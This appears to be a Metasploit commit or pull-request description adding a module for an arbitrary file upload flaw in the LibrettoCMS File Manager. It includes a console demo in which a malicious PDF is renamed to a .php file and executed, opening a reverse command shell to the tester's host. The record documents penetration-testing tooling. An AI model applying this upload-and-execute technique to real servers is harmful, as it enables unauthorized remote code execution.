Add OSVDB-94391: LibrettoCMS File Manager Arbitary File Upload

You can download the vuln app here:
http://www.exploit-db.com/exploits/26213/

Demo:

	msf exploit(libretto_upload_exec) > exploit
	
	[*] Started reverse handler on 10.0.1.76:4444 
	[*] 10.0.1.80:80 - Uploading malicious file...
	[*] 10.0.1.80:80 - Renaming UCrLUs.pdf...
	[*] 10.0.1.80:80 - Executing VYpUJ.pdf.php...
	[*] Command shell session 18 opened (10.0.1.76:4444 -> 10.0.1.80:41714) at 2013-06-19 20:39:09 -0500